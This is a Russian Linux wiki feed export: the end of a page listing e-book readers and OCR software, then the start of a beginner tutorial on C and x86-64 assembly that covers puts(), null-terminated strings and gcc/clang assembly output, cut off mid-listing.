* [http://live.gnome.org/Evince Evince] - простая и удобная программа GNOME для чтения электронных книг и документов. Поддерживает форматы PDF, DjVu и DVI. Также есть опциональная поддержка презентаций в формате OpenOffice Impress и комиксов в формате CBR.&lt;br /&gt;
* [https://github.com/mate-desktop/atril Atril] - форк Evince из проекта MATE, отличается классическим настраиваемым до минимализма интерфейсом без использования [https://wiki.gnome.org/Projects/GTK%2B/ClientSideDecorations CSD].&lt;br /&gt;
* [http://okular.kde.org/ Okular] - программа просмотра документов проекта KDE.&lt;br /&gt;
* [http://www.fbreader.ru/ FBReader] - кроссплатформенна программа для чтения электронных книг. Поддерживает форматы ePub, fb2, chm, rtf, plucker, и т. д. Файлы можно читать напрямую из архивов zip, tar, gzip и bzip2.&lt;br /&gt;
* [http://pwmt.org/projects/zathura/ Zathura] - легковесный инструмент для просмотра документов, поддерживающий pdf, djvu и postscript.&lt;br /&gt;
* [http://get.adobe.com/reader/ Adobe Reader] - несвободный официальный просмотрщик PDF, поддерживает практически все возможности формата, заметно быстрее открывает большие pdf-файлы, по сравнению с другими имеет большое количество проблем в безопасности, которые исправляются не слишком оперативно. Крайне не рекомендуется использовать его plugin в браузере.&lt;br /&gt;
* [http://djvu.sourceforge.net/djview4.html DjView4] - программа для просмотра DjVu, написанная на Qt4 с использованием библиотеки [http://djvu.sourceforge.net/index.html DjVuLibre], как и многие другие свободные просмотрщики DjVu. Версия DjView3 разрабатывалась совместно с DjVuLibre, однако DjView4 поставляется отдельно, формально оставаясь частью того же проекта.&lt;br /&gt;
* [http://foolabs.com/xpdf/home.html Xpdf] - простой просмотрщик PDF, прародитель библиотеки [http://poppler.freedesktop.org/ poppler], которая используется практически во всех остальных свободных программах просмотра.&lt;br /&gt;
* [http://trac.emma-soft.com/epdfview/ ePDFView] - легковесная программа просмотра PDF на GTK&lt;br /&gt;
* [http://pybookreader.narod.ru/misc.html fbless] - для чтения FB2 книг в консоли&lt;br /&gt;
* другие программы просмотра PDF можно найти на [http://pdfreaders.org/].&lt;br /&gt;
&lt;br /&gt;
===Организация библиотеки===&lt;br /&gt;
* [http://calibre-ebook.com/ Calibre]&lt;br /&gt;
* [http://www.lintest.ru/wiki/MyRuLib MyRuLib] — для организации библиотеки электронных книг формата fb2. Можно использовать для работы с библиотеками lib.rus.ec и flibusta.net&lt;br /&gt;
&lt;br /&gt;
Более сложные системы ведения библиографии описаны в [[LOR-FAQ-Scientific]]&lt;br /&gt;
===Обработка сканов===&lt;br /&gt;
* [http://scantailor.sourceforge.net/?q=ru/about Scan Tailor]&lt;br /&gt;
* [http://unpaper.berlios.de/unpaper.html unpaper]&lt;br /&gt;
* [http://gscan2pdf.sourceforge.net/ gscan2pdf]&lt;br /&gt;
===Системы оптического распознавания текста (OCR)===&lt;br /&gt;
системы распознавания:&lt;br /&gt;
* [http://www.cuneiform.ru/ CuneiForm], есть [https://launchpad.net/cuneiform-linux порт на Linux]&lt;br /&gt;
* [http://symmetrica.net/cuneiform-linux/ CuneiForm c поддержкой смешанных языков], например, ru-en&lt;br /&gt;
* [http://code.google.com/p/tesseract-ocr/ Tesseract]&lt;br /&gt;
* [http://www.abbyy.ru/finereader-engine/linux/ FineReader Engine] несвободный и не предназначен по цене для персонального использования&lt;br /&gt;
графические оболочки:&lt;br /&gt;
* [http://symmetrica.net/cuneiform-linux/yagf-ru.html YAGF] - на Qt&lt;br /&gt;
* [http://live.gnome.org/OCRFeeder OCRFeeder], GNOME&lt;br /&gt;
&lt;br /&gt;
[[Category:Коллекция ПО]]&lt;br /&gt;
[[Category:Полезные советы]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B8_%D0%BE%D1%82%D0%BB%D0%B0%D0%B4%D0%BA%D0%B0_%D0%BD%D0%B0_C_%D0%B8_ASM_%E2%80%94_%D0%9F%D0%B5%D1%80%D0%B2%D1%8B%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D1%8B._%D0%97%D0%BD%D0%B0%D0%BA%D0%BE%D0%BC%D1%81%D1%82%D0%B2%D0%BE_%D1%81_C_%D0%B8_%D0%B0%D1%81%D1%81%D0%B5%D0%BC%D0%B1%D0%BB%D0%B5%D1%80%D0%BE%D0%BC._%D0%9A%D0%BE%D0%BC%D0%BF%D0%B8%D0%BB%D1%8F%D1%86%D0%B8%D1%8F,_%D0%BB%D0%B8%D0%BD%D0%BA%D0%BE%D0%B2%D0%BA%D0%B0,_%D0%BA%D0%BE%D0%B4_%D0%B2%D0%BE%D0%B7%D0%B2%D1%80%D0%B0%D1%82%D0%B0._%D0%92%D1%8B%D0%B2%D0%BE%D0%B4_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0.&amp;diff=345</id>
		<title>Программирование и отладка на C и ASM — Первые программы. Знакомство с C и ассемблером. Компиляция, линковка, код возврата. Вывод текста.</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B8_%D0%BE%D1%82%D0%BB%D0%B0%D0%B4%D0%BA%D0%B0_%D0%BD%D0%B0_C_%D0%B8_ASM_%E2%80%94_%D0%9F%D0%B5%D1%80%D0%B2%D1%8B%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D1%8B._%D0%97%D0%BD%D0%B0%D0%BA%D0%BE%D0%BC%D1%81%D1%82%D0%B2%D0%BE_%D1%81_C_%D0%B8_%D0%B0%D1%81%D1%81%D0%B5%D0%BC%D0%B1%D0%BB%D0%B5%D1%80%D0%BE%D0%BC._%D0%9A%D0%BE%D0%BC%D0%BF%D0%B8%D0%BB%D1%8F%D1%86%D0%B8%D1%8F,_%D0%BB%D0%B8%D0%BD%D0%BA%D0%BE%D0%B2%D0%BA%D0%B0,_%D0%BA%D0%BE%D0%B4_%D0%B2%D0%BE%D0%B7%D0%B2%D1%80%D0%B0%D1%82%D0%B0._%D0%92%D1%8B%D0%B2%D0%BE%D0%B4_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0.&amp;diff=345"/>
		<updated>2023-02-27T18:39:18Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Подготовка к работе ==&lt;br /&gt;
{{Доработка&lt;br /&gt;
|reason=дать ссылки на еще подобные источники в открытом доступе}}&lt;br /&gt;
&lt;br /&gt;
Итак, первая программа у нас будет выводить строку «Hello world!» в текстовый терминал. Сделано это будет на языках программирования C и ассемблер (далее ASM). &lt;br /&gt;
&lt;br /&gt;
Работать будем в консоли. Про использование комманд cd, cp, mv, mkdir, pwd, ls, echo, cat и прочие базовые вещи — [[Что такое командная строка и как в ней работать]].&lt;br /&gt;
&lt;br /&gt;
Создайте себе директорию (каталог), и туда складывайте свои первые программы, можете именовать их определенным образом. Термин «папка» из мира Windows в рамках этой книги (или набора статей) использоваться не будет. Не разводите в директориях бардак, каждую свою программу держите в отдельной директории. Про системы управления версиями (VCS) тут рассказываться не будет, потому что про это уже достаточно много чего написано. Например, про Git есть [https://git-scm.com/book/en/v2 книга].&lt;br /&gt;
&lt;br /&gt;
Будем считать, что у вас будут такие директории:&lt;br /&gt;
 ~/learn/asm/&lt;br /&gt;
 ~/learn/c/&lt;br /&gt;
&lt;br /&gt;
Первая наша программа будет написана на языке С и будет выводить текст &amp;lt;code&amp;gt;Hello, world!&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Будем работать в директории&lt;br /&gt;
 ~/learn/c/01_hello/puts_hello/&lt;br /&gt;
&lt;br /&gt;
У нас будет несколько версий puts-хелловорлдов на Си, с ними мы будем делать всякие интересные вещи. Первая версия будет иметь номер 0.1.&lt;br /&gt;
&lt;br /&gt;
В итоге должно получиться такое дерево каталогов:&lt;br /&gt;
 ~&lt;br /&gt;
 └── learn&lt;br /&gt;
     ├── asm&lt;br /&gt;
     └── c&lt;br /&gt;
         └── 01_hello&lt;br /&gt;
             └── puts_hello&lt;br /&gt;
                 └── 0.1&lt;br /&gt;
&lt;br /&gt;
Создавать все эти директории я советую через консоль, а не через графические файловые менеджеры, типа Nautilus, Dolphin и прочее.&lt;br /&gt;
Делать это будем в домашней директории &amp;lt;code&amp;gt;~&amp;lt;/code&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Вот примерно так:&amp;lt;br /&amp;gt;&lt;br /&gt;
 mkdir -p ~/learn/{asm,c}&lt;br /&gt;
 cd $_&lt;br /&gt;
 mkdir -p 01_hello/puts_hello/0.1&lt;br /&gt;
 cd $_&lt;br /&gt;
&lt;br /&gt;
{{Tip|content=Тут будут две главы, одна посвящена ассемблеру, другая Си, которые будут перекликаться между собой, предполагается что читатель будет смотреть раздел Си и соответствующий раздел ассемблера, а не читать подряд сначала все по ассемблеру, потом по Си (или наоборот Си, потом ассемблер)}}&lt;br /&gt;
&lt;br /&gt;
== Приступаем к делу ==&lt;br /&gt;
Для начала, рассмотрим простейшую программу на Си и то, в какой код на ассемблере она переводится (компилируется) компилятором&lt;br /&gt;
&lt;br /&gt;
Создадим файл с таким содержанием:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main (void)&lt;br /&gt;
{&lt;br /&gt;
  puts(&amp;quot;Hello, World!&amp;quot;);&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(все вставленные в книгу исходные коды, вставки с консольными командами, примеры работы с отладчиком, дизассемблером и прочее распространяются свободно и без каких-либо ограничений, явных и подразумеваемых, если не сказано обратное. Например, в случае, если будем рассматривать исходный код и/или дизассемблировать какую-нибудь лицензированную под GPL программу)&lt;br /&gt;
&lt;br /&gt;
Для редактирования текста программ можете использовать консольные редакторы, например nano, mcedit, можете взять графические, например gedit, kate и тому подобные. Есть еще всякие сложные штуки, например emacs и vim, но на их освоение уходит достаточно много времени.&lt;br /&gt;
&lt;br /&gt;
В этой книге я не буду описывать работу ни с одним из редакторов, и рассказывать о том, что надо делать все через консоль, IDE не нужны и тому подобное. Делайте как хотите. Чего уж точно не стоит делать, так это использовать офисные пакеты — они создают не обычный текстовый файл (plain text), а файл в особом формате, и компилятор на него грязно выругается. Очень желательно, чтобы в редакторе, которым вы будете пользоваться, была подсветка синтаксиса и автоматическая расстановка отступов при наборе кода.&lt;br /&gt;
&lt;br /&gt;
Для начала советую начать с mcedit, т. к. там не надо думать, как из него выйти (как было когда-то с vim. Сейчас же он на Ctrl-C выдает меганужную подсказку &amp;lt;tt&amp;gt;Type  :quit&amp;lt;Enter&amp;gt;  to exit Vim&amp;lt;/tt&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Так или иначе, у вас должен получиться файл &amp;lt;code&amp;gt;~/learn/c/01_hello/puts_hello/0.1/hello.c&amp;lt;/code&amp;gt; в котором есть вышеприведенный текст программы, или '''код'''. Теперь его нужно преобразовать в исполняемый процессором машинный код. Для этого нужна программа — '''компилятор'''.&lt;br /&gt;
&lt;br /&gt;
Чтобы откомпилировать (собрать) наш пример, можно использовать компиляторы GCC и Clang. Мы будем использовать их оба, когда будем рассматривать код на ассемблере. Но сейчас мы просто компилируем программу и запускаем ее, так что тут это совершенно неважно. Предположим что мы выбрали GCC&lt;br /&gt;
 gcc hello.c -O2 -o hello&lt;br /&gt;
 ./hello&lt;br /&gt;
 Hello, World!&lt;br /&gt;
&amp;lt;code&amp;gt;hello.c&amp;lt;/code&amp;gt; это имя файла с кодом. Опция &amp;lt;code&amp;gt;-O2&amp;lt;/code&amp;gt; задает уровень оптимизации. После опции &amp;lt;code&amp;gt;-o&amp;lt;/code&amp;gt; следует имя исполняемого файла. Естественно, опций у gcc значительно больше. Прочитать о них можно, набрав &amp;lt;code&amp;gt;man gcc&amp;lt;/code&amp;gt;. Про процесс компиляции, ассемблирования и линковки будет сказано несколько позже.&lt;br /&gt;
&lt;br /&gt;
Отлично, наша программа заработала. Что тут собственно происходит? Разберем пример по строчкам.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;puts(&amp;quot;Hello, World!&amp;quot;)&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Это основная часть программы, которая и выводит строку «Hello, World!» в консоль. Что такое &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt;? Это имя вызываемой '''функции''', которая отвечает за вывод текста. Чтобы вывести сообщение на экран, или в файл, или отправить информацию по сети, программа должна попросить об этом операционную систему (ОС, в нашем случае это '''ядро linux'''), потому что именно ОС связывает пользовательские программы ('''приложения''') и «железо» компьютера. Для того, чтобы приложения могли обращаться к ядру, существуют системные вызовы, или сисколлы (англ. syscall). Очевидно, что если мы хотим в нашей программе вывести текст на экран, нам нужно сделать соответствующий системный вызов. Выходит, &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt; — это сисколл?&lt;br /&gt;
&lt;br /&gt;
Нет, мы пошли здесь немного другим путем, более простым для первого примера программы. &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt; — это '''функция''' из стандартной библиотеки языка C. Если сисколл — это обращение к ядру, то вызов функции — это просто обращение к другой (пока скрытой) части программы. Функция — это часть программы (подпрограмма), которая выполняет определенную задачу. В нашем случае функция &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt; делает внутри себя системный вызов (сисколл), в результате которого и выводится строка на экран.&lt;br /&gt;
&lt;br /&gt;
Где же скрыта функция &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt;? В нашей программе она только вызывается, но ее содержимого не видно. Где та часть программы, которая выполняется при вызове этой функции? Подробное объяснение вы узнаете из дальнейших примеров, пока же ограничимся вот чем.&lt;br /&gt;
&lt;br /&gt;
Функция &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt; находится в файле libc.so, который обычно располагается по адресу&lt;br /&gt;
&amp;lt;code&amp;gt;/usr/lib/libc.so&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
При запуске нашей программы помимо исполняемого файла hello в память загружается и файл libc.so. Таким образом, мы можем вызывать оттуда функции стандартной библиотеки C для самых необходимых операций. Такие файлы, с расширением .so, называются '''динамические библиотеки'''. Они содержат такой же исполняемый код, как и наша программа hello, но их нельзя запустить на выполнение напрямую, они должны быть добавлены в память какой-либо самостоятельной программы.&lt;br /&gt;
&lt;br /&gt;
Разберем первую строку:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;#include &amp;lt;stdio.h&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;#include&amp;lt;/code&amp;gt; — это не функция, не сисколл, не команда, которая переводится в машинный код. Это '''директива препроцессора''', то есть команда для препроцессора(препроцессирование выполняется ДО непосредственного синтаксического разбора исходного текста компилятором и самой компиляции). Такие директивы начинаются с символа «#». Перед компиляцией(синтаксическим разбором исходника), компилятор обычно вызывает препроцессор &amp;lt;code&amp;gt;cpp&amp;lt;/code&amp;gt; который делает некие преобразования над текстом программы. См. https://gcc.gnu.org/onlinedocs/gcc/Preprocessor-Options.html.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;#include&amp;lt;/code&amp;gt; дает препроцессору указание — взять файл, имя которого написано дальше (stdio.h) и вставить его содержимое вместо самой директивы &amp;lt;code&amp;gt;#include&amp;lt;/code&amp;gt;. То есть к тексту нашей короткой программы мы добавили текст из stdio.h. Что же такого нам понадобилось в этом файле? Там содержится описание функций ввода-вывода из стандартной библиотеки C, в том числе и функции &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Более подробный разбор препроцессора Си вы сможете прочесть в статье [[Сишный препроцессор]] (todo)&lt;br /&gt;
&lt;br /&gt;
Идем дальше:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;int main (void)&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Вся наша программа — это тоже функция, которая называется &amp;lt;code&amp;gt;main()&amp;lt;/code&amp;gt;. &amp;lt;code&amp;gt;void&amp;lt;/code&amp;gt; в скобочках означает, что функция не имеет параметров. Функция &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt;, как вы заметили, имеет один параметр. &amp;lt;code&amp;gt;int&amp;lt;/code&amp;gt; — тип возвращаемого значения. Каждая функция после выполнения может возвращать значение, или результат. Функция &amp;lt;code&amp;gt;main()&amp;lt;/code&amp;gt; должна, как правило, возвращать 0 если программа выполнилась без ошибок. Если произошла ошибка — то код ошибки. &amp;lt;code&amp;gt;int&amp;lt;/code&amp;gt; означает целочисленный тип, то есть функция main возвращает целое число. Узнать, что вернула программа можно, выполнив команду&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;echo $?&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Сразу после выполнения программы.&lt;br /&gt;
&lt;br /&gt;
Фигурные скобки обозначают начало и конец функции, все что внутри — это ее содержимое.&lt;br /&gt;
&lt;br /&gt;
Наконец, &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;return 0;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
команда выхода из функции, возвращаем 0.&lt;br /&gt;
&lt;br /&gt;
Если заменить &amp;lt;code&amp;gt;Hello, World!&amp;lt;/code&amp;gt; на нечто другое, выводиться будет другой текст. Интересен другой момент. А именно, что если сделать вот так &amp;lt;code&amp;gt;puts(&amp;quot;Hello, World!&amp;quot;+1)&amp;lt;/code&amp;gt;? Попробуйте. Пусть это будет в новой директории &lt;br /&gt;
 user@localhost:~/learn/c/01_hello/puts_hello/0.1$ cd ..&lt;br /&gt;
 user@localhost:~/learn/c/01_hello/puts_hello$ cp -r 0.1 0.2&lt;br /&gt;
 user@localhost:~/learn/c/01_hello/puts_hello$ cd 0.2/&lt;br /&gt;
 user@localhost:~/learn/c/01_hello/puts_hello/0.2$&lt;br /&gt;
Вот таким вот образом мы создали новую версию &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt;-хелловорлда. Осталось только подредактировать, т. е. вместо &amp;lt;code&amp;gt;puts(&amp;quot;Hello, World!&amp;quot;)&amp;lt;/code&amp;gt; сделать &amp;lt;code&amp;gt;puts(&amp;quot;Hello, World!&amp;quot;+1)&amp;lt;/code&amp;gt; и произвести компиляцию. В результате мы обнаружим, что вывелась лишь часть нашей строки &amp;lt;code&amp;gt;Hello, World!&amp;lt;/code&amp;gt;, пропустив ровно одну букву — &amp;lt;code&amp;gt;ello, World!&amp;lt;/code&amp;gt;. Почему? Что вообще значит «прибавить 1 к строке»? Все дело в том, что в функцию &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt; передается адрес, в котором расположена строка. А строка это лишь последовательность байтов, ASCII-символов. И когда мы делаем «+1» то мы увеличиваем этот самый адрес на единицу, и таким образом получается, что строка выводится не вся. Сама строка при этом не обрезается т.е. она по-прежнему будет содержать первую букву &amp;lt;code&amp;gt;'H'&amp;lt;/code&amp;gt;. Но как, спросите вы, функция &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt; узнает, где наша строка заканчивается? Начинается-то она с адреса, который в нее передается, это понятно. Так вот, строка у нас нуль-терминированная, и конец строки обозначается нулевым байтом. &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt; выведет всю строку вплоть до этого самого нулевого байта. Это не очень удачное решение т. к. требуется время чтобы узнать длину строки, прежде чем ее выводить. Если надо «сшить» две строки (т. е. объединить в одну), то требуется время на то, чтобы узнать длину первой и длину второй строки. Проведем еще один эксперимент, показывающий, что строка через &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt; выводится именно до нуля. Создайте версию 0.3 нашего хелловорда, и пусть там будет вот такой вот код:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main (void)&lt;br /&gt;
{&lt;br /&gt;
  const char *str = &amp;quot;Hello\0 World!&amp;quot;;&lt;br /&gt;
  puts(str);   // 5 букв&lt;br /&gt;
  puts(str+1); // 4 буквы&lt;br /&gt;
  puts(str+5); // пустота&lt;br /&gt;
&lt;br /&gt;
  puts(str+6); // остальной кусок&lt;br /&gt;
  puts(str+7); // остальной кусок без первого байта (пробела)&lt;br /&gt;
&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;// &amp;lt;/code&amp;gt; обозначает начало однострочного комментария, и весь текст, идущий после него, игнорируется. Но он прекращает свое действие на следующей строке.&lt;br /&gt;
&lt;br /&gt;
Тут вводится новая для нас сущность — '''переменная'''. Но в данном случае она константа. Пока что достаточно будет сказать, что эта самая переменная содержит (хранит в себе) адрес нашей строки(указатель на строку), и когда мы вызываем &amp;lt;code&amp;gt;puts(str)&amp;lt;/code&amp;gt; мы фактически передаем этот адрес в нашу функцию. Делая так &amp;lt;code&amp;gt;puts(str+1)&amp;lt;/code&amp;gt; мы не увеличиваем значение самой переменной &amp;lt;code&amp;gt;str&amp;lt;/code&amp;gt; на 1, мы просто передаем в функцию &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt; адрес, который на единицу больше того адреса, который у нас заключен в &amp;lt;code&amp;gt;str&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
На выходе должно получиться вот это:&lt;br /&gt;
 Hello&lt;br /&gt;
 ello&lt;br /&gt;
 &lt;br /&gt;
  World!&lt;br /&gt;
 World!&lt;br /&gt;
Тут отлично можно видеть, что строка обрывается в том месте, где у нас вставлен &amp;lt;code&amp;gt;\0&amp;lt;/code&amp;gt;. &amp;lt;code&amp;gt;\0&amp;lt;/code&amp;gt; это не значит вывести на печать косую черту и цифру 0. Это значит что в соответствующей шестой позиции у нас в строке будет находиться нулевой байт. Си строка и так уже содержит в себе нулевой байт в конце, который помечает ее конец. Если же вставить в строку свой собственный нулевой байт, и вызвать &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt;, передав в качестве значения адрес начала строки, то строка будет выведена как раз до этого нулевого байта. Подробнее об этом написано в [[Escape-последовательности_в_C]].&lt;br /&gt;
&lt;br /&gt;
Вот как это примерно выглядит в случае &amp;lt;code&amp;gt;puts(str);&amp;lt;/code&amp;gt;&lt;br /&gt;
    +      +      +      +      +&lt;br /&gt;
 +------+------+------+------+------+------+------+------+------+------+------+------+------+&lt;br /&gt;
 |      |      |      |      |      |      |      |      |      |      |      |      |      |&lt;br /&gt;
 | 'H'  | 'e'  | 'l'  | 'l'  | 'o'  | '\0' | ' '  | 'w'  | 'o'  | 'r'  | 'l'  | 'd'  | '\0' |&lt;br /&gt;
 |      |      |      |      |      |      |      |      |      |      |      |      |      |&lt;br /&gt;
 +------+------+------+------+------+------+------+------+------+------+------+------+------+&lt;br /&gt;
    ^&lt;br /&gt;
    |&lt;br /&gt;
   str&lt;br /&gt;
Сверху через «+» помечены те байты, которые будут выведены в консоль. Кроме того, &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt; еще автоматически вставляет перевод строки в конце (код перевода строки обозначается через &amp;lt;code&amp;gt;'\n'&amp;lt;/code&amp;gt;). Это поведение задокументировано, см. &amp;lt;code&amp;gt;man 3 puts&amp;lt;/code&amp;gt;. Все эти буквы и переводы строк представляют из себя восьмибитные байты. Позже мы увидим, как сами буквы можно задавать через их коды в 16-ричной системе счисления в эскейп-последовательностях или же просто как массив байтов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Рассмотрим случай &amp;lt;code&amp;gt;puts(str+1);&amp;lt;/code&amp;gt;&lt;br /&gt;
           +      +      +      +&lt;br /&gt;
 +------+------+------+------+------+------+------+------+------+------+------+------+------+&lt;br /&gt;
 |      |      |      |      |      |      |      |      |      |      |      |      |      |&lt;br /&gt;
 | 'H'  | 'e'  | 'l'  | 'l'  | 'o'  | '\0' | ' '  | 'w'  | 'o'  | 'r'  | 'l'  | 'd'  | '\0' |&lt;br /&gt;
 |      |      |      |      |      |      |      |      |      |      |      |      |      |&lt;br /&gt;
 +------+------+------+------+------+------+------+------+------+------+------+------+------+&lt;br /&gt;
           ^&lt;br /&gt;
           |&lt;br /&gt;
         str+1&lt;br /&gt;
Тут вроде все ясно, передав значение на 1 большее чем str, мы выведем строку без первого байта&lt;br /&gt;
&lt;br /&gt;
Рассмотрим случай &amp;lt;code&amp;gt;puts(str+5);&amp;lt;/code&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 +------+------+------+------+------+------+------+------+------+------+------+------+------+&lt;br /&gt;
 |      |      |      |      |      |      |      |      |      |      |      |      |      |&lt;br /&gt;
 | 'H'  | 'e'  | 'l'  | 'l'  | 'o'  | '\0' | ' '  | 'w'  | 'o'  | 'r'  | 'l'  | 'd'  | '\0' |&lt;br /&gt;
 |      |      |      |      |      |      |      |      |      |      |      |      |      |&lt;br /&gt;
 +------+------+------+------+------+------+------+------+------+------+------+------+------+&lt;br /&gt;
                                       ^&lt;br /&gt;
                                       |&lt;br /&gt;
                                     str+5&lt;br /&gt;
Тут вообще ничего не выводится, кроме переноса строки т. к. функция &amp;lt;code&amp;gt;puts()&amp;lt;/code&amp;gt; сразу же натыкается на нулевой байт.&lt;br /&gt;
&lt;br /&gt;
Рассмотрим случай &amp;lt;code&amp;gt;puts(str+6);&amp;lt;/code&amp;gt;&lt;br /&gt;
                                              +      +      +      +      +      +&lt;br /&gt;
 +------+------+------+------+------+------+------+------+------+------+------+------+------+&lt;br /&gt;
 |      |      |      |      |      |      |      |      |      |      |      |      |      |&lt;br /&gt;
 | 'H'  | 'e'  | 'l'  | 'l'  | 'o'  | '\0' | ' '  | 'w'  | 'o'  | 'r'  | 'l'  | 'd'  | '\0' |&lt;br /&gt;
 |      |      |      |      |      |      |      |      |      |      |      |      |      |&lt;br /&gt;
 +------+------+------+------+------+------+------+------+------+------+------+------+------+&lt;br /&gt;
                                              ^&lt;br /&gt;
                                              |&lt;br /&gt;
                                            str+6&lt;br /&gt;
Тут мы уже перешли через нулевой байт, и таким образом выводим остаток фразы. Понятно, что если сделать &amp;lt;code&amp;gt;puts(str+7);&amp;lt;/code&amp;gt; то будет выведено то же самое, только без пробела в начале.&lt;br /&gt;
&lt;br /&gt;
Теперь будем рассматривать ассемблерный код, который компилятор нам выдает на все наши хелловорды.&lt;br /&gt;
&lt;br /&gt;
== Ассемблер ==&lt;br /&gt;
===Учимся читать ассемблер (синтаксис AT&amp;amp;T и Intel). Регистры, память, стек. Виртуальное адресное пространство процесса. Сегменты процесса===&lt;br /&gt;
&lt;br /&gt;
Перейдем к директории &amp;lt;code&amp;gt;~/learn/c/01_hello/puts_hello/0.1&amp;lt;/code&amp;gt; и там попробуем получить ассемблерный листинг нашего самого первого хелловорда, используя компиляторы clang и gcc.&lt;br /&gt;
Компилировать свою программу мы будем особым образом. Примерно вот так:&lt;br /&gt;
 gcc-5 -fno-unwind-tables -fno-asynchronous-unwind-tables -march=x86-64 -mtune=generic -O2 -S hello.c -o hello_gcc.s&lt;br /&gt;
 clang-3.8 -fno-unwind-tables -fno-asynchronous-unwind-tables -march=x86-64 -mtune=generic -O2 -S hello.c -o hello_clang.s&lt;br /&gt;
Примечание: тут будут рассматриватся последние доступные на момент написания этого текста пакеты для убунт из https://launchpad.net/~ubuntu-toolchain-r/+archive/ubuntu/test и http://llvm.org/apt/.&lt;br /&gt;
&lt;br /&gt;
А именно: &amp;lt;code&amp;gt;gcc-5 (Ubuntu 5.3.0-3ubuntu1~14.04) 5.3.0 20151204&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;clang version 3.8.0-svn262614-1~exp1 (branches/release_38)&amp;lt;/code&amp;gt;. Со временем будут появляться более новые версии компиляторов, и возможно это все надо будет переделать.&lt;br /&gt;
&lt;br /&gt;
В компиляторах других верcий, будь то идущих в стандартной поставке вместе с дистрибутивом, из сторонних репозиториев, или собранных через &amp;lt;code&amp;gt;./configure &amp;amp;&amp;amp; make &amp;amp;&amp;amp; sudo make install&amp;lt;/code&amp;gt;, сгенерированный ассемблерный код может отличаться. Хотя на таких простых примерах едва ли могут быть какие-нибудь значимые отличия. Но на более сложных примерах они будут почти наверняка.&lt;br /&gt;
&lt;br /&gt;
Пока что мы не будем подробно разбирать директивы ассемблера, а просто посмотрим на разные версии хелловордов, чем они отличаются в ассемблерном представлении.&lt;br /&gt;
&lt;br /&gt;
Посмотрим получившийся код хелловорда версии 0.1 для GCC и clang. Код прокомментирован&lt;br /&gt;
&lt;br /&gt;
gcc:&lt;br /&gt;
         .file   &amp;quot;hello.c&amp;quot;&lt;br /&gt;
         .section        .rodata.str1.1,&amp;quot;aMS&amp;quot;,@progbits,1&lt;br /&gt;
 .LC0:                           # метка&lt;br /&gt;
         .string &amp;quot;Hello, World!&amp;quot; # сама строка&lt;br /&gt;
         .section        .text.unlikely,&amp;quot;ax&amp;quot;,@progbits&lt;br /&gt;
